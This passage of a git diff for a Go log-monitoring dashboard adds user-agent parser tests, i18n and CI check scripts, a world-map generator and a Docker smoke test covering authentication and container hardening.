(compatible; CensysInspect/1.1; +https://about.censys.io/)", "", "", "", "tool", "", "CensysInspect"}, + {"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/120.0.0.0 Safari/537.36", "Chrome", "120", "Windows", "tool", "", "HeadlessChrome"}, + {"Java/17.0.2", "", "", "", "tool", "", "Java"}, + {"okhttp/4.12.0", "", "", "", "tool", "", "okhttp"}, + {"libwww-perl/6.67", "", "", "", "tool", "", "libwww-perl"}, + {"PostmanRuntime/7.36.0", "", "", "", "tool", "", "Postman"}, + {"axios/1.6.2", "", "", "", "tool", "", "axios"}, + {"Hello World", "", "", "", "tool", "", "Hello World"}, + {"UptimeRobot/2.0; http://www.uptimerobot.com/", "", "", "", "tool", "", "UptimeRobot"}, + {"kube-probe/1.28", "", "", "", "tool", "", "kube-probe"}, + {"ELB-HealthChecker/2.0", "", "", "", "tool", "", "ELB-HealthChecker"}, + {"Python/3.11 aiohttp/3.9.1", "", "", "", "tool", "", "aiohttp"}, + {"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Chrome-Lighthouse", "Chrome", "120", "Linux", "tool", "", "Lighthouse"}, + } + if len(cases) < 60 { + t.Fatalf("poucos casos: %d", len(cases)) + } + for _, c := range cases { + got := Parse(c.ua) + want := Info{Browser: c.browser, BrowserMajor: c.major, OS: c.os, Device: c.device, + Bot: c.botName != "", BotName: c.botName, Tool: c.toolName} + if got != want { + t.Errorf("UA %q\n obtido: %+v\n esperado: %+v", c.ua, got, want) + } + } +} + +func TestParseInvariants(t *testing.T) { + for _, s := range []string{"", "x", "Mozilla/5.0", "\x00\xff", strings.Repeat("A", 100000), "Chrome/", "Version/", "MSIE "} { + in := Parse(s) + if in.Device == "" { + t.Errorf("%q: device vazio", s) + } + if in.Bot != (in.BotName != "") { + t.Errorf("%q: Bot e BotName inconsistentes", s) + } + if (in.Device == "tool") != (in.Tool != "") { + t.Errorf("%q: Tool e Device inconsistentes", s) + } + } +} + +func TestCacheBoundedConcurrent(t *testing.T) { + var wg sync.WaitGroup + for g := 0; g < 8; g++ { + wg.Add(1) + go func(g int) { + defer wg.Done() + for i := 0; i < 3000; i++ { + ua := "Mozilla/5.0 (Windows NT 10.0) Chrome/" + strings.Repeat("1", 1+(i+g)%50) + " Safari/537.36" + if Parse(ua).Browser != "Chrome" { + t.Error("falhou") + return + } + } + }(g) + } + wg.Wait() + cacheMu.RLock() + n := len(cache) + cacheMu.RUnlock() + if n > cacheMax { + t.Fatalf("cache cresceu além do limite: %d", n) + } +} + +func BenchmarkParseCold(b *testing.B) { + uas := []string{ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1", + "curl/8.14.1", + "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", + } + b.ReportAllocs() + for i := 0; i < b.N; i++ { + parse(uas[i&3]) + } +} + +func BenchmarkParseCached(b *testing.B) { + ua := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + b.ReportAllocs() + for i := 0; i < b.N; i++ { + Parse(ua) + } +} diff --git a/logo.png b/logo.png new file mode 100644 index 0000000..1ef33c9 Binary files /dev/null and b/logo.png differ diff --git a/scripts/check-ui-i18n.mjs b/scripts/check-ui-i18n.mjs new file mode 100755 index 0000000..0208700 --- /dev/null +++ b/scripts/check-ui-i18n.mjs @@ -0,0 +1,83 @@ +#!/usr/bin/env node +// Verifies the dashboard translations: both dictionaries (en, pt-BR) must have +// exactly the same keys, every key used by the HTML and the JS must exist, and +// the HTML must not carry visible text outside a data-i18n element. +// +// Usage: node scripts/check-ui-i18n.mjs + +import { readFileSync } from 'node:fs'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import vm from 'node:vm'; + +const root = join(fileURLToPath(new URL('.', import.meta.url)), '..'); +const web = join(root, 'internal/server/web'); +const read = (f) => readFileSync(join(web, f), 'utf8'); + +const sandbox = { window: {} }; +vm.runInNewContext(read('i18n.js'), sandbox); +const dict = sandbox.window.URUTAU_I18N; +const langs = Object.keys(dict); +const errors = []; + +// duplicate keys silently collapse in an object literal: look at the source +for (const lang of langs) { + const block = read('i18n.js').split(new RegExp(`\\n\\s*['"]?${lang}['"]?:\\s*\\{`))[1] ?? ''; + const seen = new Set(); + for (const m of block.split(/\n\s*\},?\s*\n/)[0].matchAll(/^\s*'([^']+)':/gm)) { + if (seen.has(m[1])) errors.push(`duplicate key in ${lang}: ${m[1]}`); + seen.add(m[1]); + } +} + +const all = new Set(langs.flatMap((l) => Object.keys(dict[l]))); +for (const lang of langs) { + for (const k of all) if (!(k in dict[lang])) errors.push(`missing in ${lang}: ${k}`); + for (const [k, v] of Object.entries(dict[lang])) if (typeof v !== 'string' || !v.trim()) errors.push(`empty in ${lang}: ${k}`); +} +// placeholders must match across languages +for (const k of all) { + const ph = langs.map((l) => (dict[l][k]?.match(/\{n\}/g) ?? []).length); + if (new Set(ph).size > 1) errors.push(`placeholder mismatch: ${k}`); +} + +// keys used +const used = new Set(); +for (const f of ['index.html', 'login.html']) { + for (const m of read(f).matchAll(/data-i18n(?:-ph|-aria|-title)?="([^"]+)"/g)) used.add(m[1]); +} +for (const f of ['app.js', 'login.js']) { + for (const m of read(f).matchAll(/\bt\(\s*'([^']+)'/g)) used.add(m[1]); + for (const m of read(f).matchAll(/\[\s*'((?:host|kpi)\.[a-z]+)'\s*,/g)) used.add(m[1]); +} +// keys built at runtime +const families = { + 'cat.': ['ok', 'notfound', 'scanner', 'exploit', 'bruteforce', 'ssh-fail', 'ssh-probe', 'ssh-ok', 'ban'], + 'level.': ['all', 'hostile', 'suspicious', 'low'], + 'device.': ['desktop', 'mobile', 'tablet', 'bot', 'tool', 'unknown'], + 'state.': ['following', 'waiting', 'backfill', 'error', 'disabled'], +}; +for (const [p, names] of Object.entries(families)) for (const n of names) used.add(p + n); +for (const k of used) if (!k.endsWith('.') && !all.has(k)) errors.push(`used but not defined: ${k}`); +for (const k of all) if (!used.has(k) && !k.startsWith('ago.') && !['live.on', 'live.off', 'feed.unban', 'yes', 'never', 'blocklist.copied', 'blocklist.failed', 'pager.count'].includes(k)) { + errors.push(`defined but unused: ${k}`); +} + +// no visible text outside data-i18n in the HTML +for (const f of ['index.html', 'login.html']) { + const html = read(f).replace(//g, '').replace(//g, '').replace(/[\s\S]*?<\/title>/g, ''); + for (const m of html.matchAll(/<([a-z0-9]+)([^>]*)>([^<]+)</gi)) { + const text = m[3].replace(/&[a-z#0-9]+;/g, '').trim(); + if (!/[A-Za-zÀ-ÿ]{2,}/.test(text)) continue; + if (/data-i18n="/.test(m[2])) continue; + if (['h1', 'button'].includes(m[1]) && /^(Urutau|EN|PT)$/.test(text)) continue; + if (m[1] === 'span' && /id="(ver|live-text)"/.test(m[2])) continue; + errors.push(`${f}: hard-coded text <${m[1]}>${text}`); + } +} + +if (errors.length) { + console.error('UI i18n problems:\n ' + errors.join('\n ')); + process.exit(1); +} +console.log(`ui i18n ok: ${all.size} keys in ${langs.join(', ')}`); diff --git a/scripts/check.sh b/scripts/check.sh new file mode 100755 index 0000000..a126698 --- /dev/null +++ b/scripts/check.sh @@ -0,0 +1,74 @@ +#!/usr/bin/env bash +# Local verification: runs the same checks as CI before pushing. Anything the +# machine lacks (go, node, docker, govulncheck) is skipped with a warning. +# +# scripts/check.sh fast: gofmt, go vet, i18n, scripts, workflows, compose +# scripts/check.sh --full also runs go test -race and govulncheck +# +# CI takes minutes per run; almost everything that breaks it is caught here +# in seconds. +set -uo pipefail +cd "$(dirname "$0")/.." +full=0 +[ "${1:-}" = "--full" ] && full=1 +failures=() +step() { # step "name" command... + local name="$1"; shift + printf '\n\033[1m== %s\033[0m\n' "$name" + if "$@"; then printf '\033[32mok\033[0m %s\n' "$name"; else printf '\033[31mFAILED\033[0m %s\n' "$name"; failures+=("$name"); fi +} +skip() { printf '\n\033[33mskipped\033[0m %s (%s)\n' "$1" "$2"; } + +if command -v go >/dev/null; then + step "formatting (gofmt)" bash -c 'out=$(gofmt -l .); [ -z "$out" ] || { echo "$out"; exit 1; }' + step "go vet" go vet ./... +else + skip "gofmt and go vet" "go not installed" +fi + +if command -v node >/dev/null; then + step "UI translation coverage" node scripts/check-ui-i18n.mjs +else + skip "UI translation coverage" "node not installed" +fi + +step "bash script syntax" bash -c 'for f in scripts/*.sh .githooks/*; do bash -n "$f" || exit 1; done' + +if python3 -c 'import yaml' 2>/dev/null; then + step "workflows and templates (valid YAML)" python3 -c " +import glob, yaml +for f in glob.glob('.gitea/**/*.yml', recursive=True): + yaml.safe_load(open(f)) +" +else + skip "workflows and templates (valid YAML)" "PyYAML missing: pip install pyyaml" +fi + +step "brand assets" test -s logo.png + +if command -v docker >/dev/null && docker compose version >/dev/null 2>&1; then + step "docker compose config" docker compose config --quiet +else + skip "docker compose config" "docker compose not available" +fi + +if [ "$full" = 1 ]; then + if command -v go >/dev/null; then + step "tests (go test -race)" go test -race ./... + if command -v govulncheck >/dev/null; then + step "dependency audit (govulncheck)" govulncheck ./... + else + skip "govulncheck" "install: go install golang.org/x/vuln/cmd/govulncheck@latest" + fi + else + skip "tests and govulncheck" "go not installed" + fi +fi + +printf '\n' +if [ ${#failures[@]} -eq 0 ]; then + printf '\033[32mall checks passed\033[0m: ready to push.\n' +else + printf '\033[31mfailed:\033[0m %s\n' "${failures[*]}" + exit 1 +fi diff --git a/scripts/gen-world.mjs b/scripts/gen-world.mjs new file mode 100755 index 0000000..282def1 --- /dev/null +++ b/scripts/gen-world.mjs @@ -0,0 +1,56 @@ +#!/usr/bin/env node +// Regenerates internal/server/web/world.js (simplified world map, one SVG path +// per country, plus country centroids) from the public-domain Natural Earth data +// shipped in the npm package "world-atlas" and a REST Countries style JSON +// (cca2, ccn3, latlng). Only needed when the map should change. +// +// node scripts/gen-world.mjs countries-110m.json countries.json > internal/server/web/world.js +import { readFileSync } from 'node:fs'; + +const [topoFile, cFile] = process.argv.slice(2); +const topo = JSON.parse(readFileSync(topoFile, 'utf8')); +const countries = JSON.parse(readFileSync(cFile, 'utf8')); +const byNum = new Map(countries.map((c) => [String(c.ccn3).padStart(3, '0'), c])); + +const W = 2000, LAT_TOP = 84, LAT_BOTTOM = -58; +const H = Math.round((W * (LAT_TOP - LAT_BOTTOM)) / 360); +const px = (lon) => ((lon + 180) / 360) * W; +const py = (lat) => ((LAT_TOP - Math.max(LAT_BOTTOM, Math.min(LAT_TOP, lat))) / (LAT_TOP - LAT_BOTTOM)) * H; + +const { scale, translate } = topo.transform; +const arcs = topo.arcs.map((arc) => { + let x = 0, y = 0; + return arc.map(([dx, dy]) => { x += dx; y += dy; return [x * scale[0] + translate[0], y * scale[1] + translate[1]]; }); +}); +const arcPts = (i) => (i >= 0 ? arcs[i] : arcs[~i].slice().reverse()); +const ring = (idx) => { + const pts = []; + for (const i of idx) { const a = arcPts(i); pts.push(...(pts.length ? a.slice(1) : a)); } + return pts; +}; + +const paths = {}, cent = {}; +for (const g of topo.objects.countries.geometries) { + const c = byNum.get(String(g.id).padStart(3, '0')); + if (!c || c.cca2 === 'AQ') continue; + const polys = g.type === 'Polygon' ? [g.arcs] : g.type === 'MultiPolygon' ? g.arcs : []; + let d = ''; + for (const poly of polys) { + for (const r of poly) { + const pts = ring(r).map(([lo, la]) => [Math.round(px(lo)), Math.round(py(la))]); + const out = []; + for (const p of pts) { const l = out[out.length - 1]; if (!l || l[0] !== p[0] || l[1] !== p[1]) out.push(p); } + if (out.length < 4) continue; + let s = `M${out[0][0]} ${out[0][1]}`, px0 = out[0][0], py0 = out[0][1]; + for (const [x, y] of out.slice(1)) { + // a ring crossing the antimeridian jumps across the map: start a new subpath instead of drawing a line over it + s += Math.abs(x - px0) > W / 2 ? `M${x} ${y}` : `l${x - px0} ${y - py0}`; + px0 = x; py0 = y; + } + d += s + 'z'; + } + } + if (d) paths[c.cca2] = d; +} +for (const c of countries) if (c.latlng?.length === 2) cent[c.cca2] = [Math.round(px(c.latlng[1])), Math.round(py(c.latlng[0]))]; +process.stdout.write(`/* Generated by scripts/gen-world.mjs from Natural Earth (public domain). */\nwindow.URUTAU_WORLD = ${JSON.stringify({ w: W, h: H, paths, centroids: cent })};\n`); diff --git a/scripts/install-hooks.sh b/scripts/install-hooks.sh new file mode 100755 index 0000000..49319fc --- /dev/null +++ b/scripts/install-hooks.sh @@ -0,0 +1,6 @@ +#!/usr/bin/env bash +# Enables the repository Git hooks (.githooks/pre-push and .githooks/commit-msg). +set -euo pipefail +cd "$(dirname "$0")/.." +git config core.hooksPath .githooks +echo "hooks enabled: git commit validates Conventional Commits in English and git push runs scripts/check.sh (disable with: git config --unset core.hooksPath)" diff --git a/scripts/release-notes.sh b/scripts/release-notes.sh new file mode 100755 index 0000000..b39d6d2 --- /dev/null +++ b/scripts/release-notes.sh @@ -0,0 +1,28 @@ +#!/usr/bin/env bash +# Prints release notes for a given tag: extracts the matching CHANGELOG.md +# section, or falls back to the commit log since the previous tag. +# +# scripts/release-notes.sh v1.2.3 +set -euo pipefail + +tag=${1:?usage: release-notes.sh <tag>} +version=${tag#v} + +section="" +if [ -f CHANGELOG.md ]; then + section=$(awk -v head="## [$version]" ' + index($0, head) == 1 { found = 1; next } + found && /^## \[/ { exit } + found && /^\[[^]]+\]: / { next } + found { print } + ' CHANGELOG.md) +fi + +if [ -n "$(printf '%s' "$section" | tr -d '[:space:]')" ]; then + printf '%s\n' "$section" +else + previous=$(git describe --tags --abbrev=0 "$tag^" 2>/dev/null || true) + echo "## Changes${previous:+ since $previous}" + echo + git log --no-merges --format='- %s (%h)' "${previous:+$previous..}$tag" +fi diff --git a/scripts/smoke-image.sh b/scripts/smoke-image.sh new file mode 100755 index 0000000..e00251f --- /dev/null +++ b/scripts/smoke-image.sh @@ -0,0 +1,58 @@ +#!/usr/bin/env bash +# Smoke-tests an Urutau image: the HEALTHCHECK command works, the API is closed +# without a token and open with it, the peer token only opens the export, the +# dashboard is served, urutau doctor reports a version, the daemon is not root +# and SIGTERM stops it cleanly with exit 0. +# The image has no curl: HTTP checks use the BusyBox wget that Alpine ships. +# Everything runs through `docker exec`, so no port has to be reachable from the +# CI job container. The container is always removed. +# +# scripts/smoke-image.sh <image-ref> +set -euo pipefail + +image=${1:?usage: smoke-image.sh <image-ref>} +name="urutau-smoke-$$-$RANDOM" +token=$(head -c 40 /dev/urandom | base64 | tr -d '=+/\n') +peer=$(head -c 40 /dev/urandom | base64 | tr -d '=+/\n') +trap 'docker rm -f "$name" >/dev/null 2>&1 || true' EXIT +fail() { echo "smoke: $*" >&2; docker logs "$name" >&2 2>&1 || true; exit 1; } +base=http://127.0.0.1:8790 +# status <url> [header]: HTTP status code of a GET (wget -S prints the response headers) +status() { + local url=$1; shift + docker exec "$name" wget -S -q -O /dev/null "$@" "$url" 2>&1 | awk '/^ *HTTP\//{c=$2} END{print c}' +} +get() { local url=$1; shift; docker exec "$name" wget -q -O - "$@" "$url"; } + +# No log files are mounted: the sources wait for them. docker create + start +# instead of a bind mount, which the daemon may not see from a CI job. +docker create --name "$name" -e URUTAU_TOKEN="$token" -e URUTAU_PEER_TOKEN="$peer" -e URUTAU_GEO_UPDATE=0 "$image" >/dev/null +docker start "$name" >/dev/null +for _ in $(seq 1 30); do + docker exec "$name" urutau healthcheck >/dev/null 2>&1 && break + sleep 1 +done +docker exec "$name" urutau healthcheck || fail "urutau healthcheck failed" +out=$(get "$base/api/health") || fail "/api/health did not answer" +grep -q '"status":"ok"' <<<"$out" || fail "/api/health is not ok" +grep -q '"version"' <<<"$out" && fail "/api/health must not expose the version" +[ "$(status "$base/api/v1/summary")" = 401 ] || fail "/api/v1/summary without a token must answer 401" +[ "$(status "$base/api/v1/summary" --header "Authorization: Bearer $peer")" = 403 ] || fail "the peer token on /api/v1/summary must answer 403" +out=$(get "$base/api/v1/summary" --header "Authorization: Bearer $token") || fail "authenticated summary failed" +grep -q '"totals"' <<<"$out" || fail "summary has no totals" +out=$(get "$base/api/v1/peer/export?range=1h" --header "Authorization: Bearer $peer") || fail "peer export failed" +grep -q '"summary"' <<<"$out" || fail "peer export has no summary" +[ "$(status "$base/api/v1/peer/export" --header "Authorization: Bearer $token")" = 401 ] || fail "the user token must not open the peer export" +out=$(get "$base/login") || fail "login page did not answer" +grep -qi '<!doctype html' <<<"$out" || fail "login page is not served" +out=$(get "$base/" --header "Authorization: Bearer $token") || fail "dashboard did not answer" +grep -qi '<!doctype html' <<<"$out" || fail "dashboard is not served" +out=$(docker exec "$name" urutau doctor --json) || { echo "$out" >&2; fail "urutau doctor --json failed"; } +grep -q '"version"' <<<"$out" || fail "urutau doctor --json has no version" +[ "$(docker inspect -f '{{if .Config.Healthcheck}}yes{{end}}' "$name")" = yes ] || fail "image has no HEALTHCHECK" +[ "$(docker exec "$name" id -u)" != 0 ] || fail "daemon runs as root" +docker exec "$name" sh -c 'command -v curl' >/dev/null 2>&1 && fail "the image must not ship curl" +docker stop -t 10 "$name" >/dev/null +code=$(docker inspect -f '{{.State.ExitCode}}' "$name") +[ "$code" = 0 ] || fail "exit code $code after SIGTERM (expected 0: SIGTERM must stop serve)" +echo "smoke: $image ok"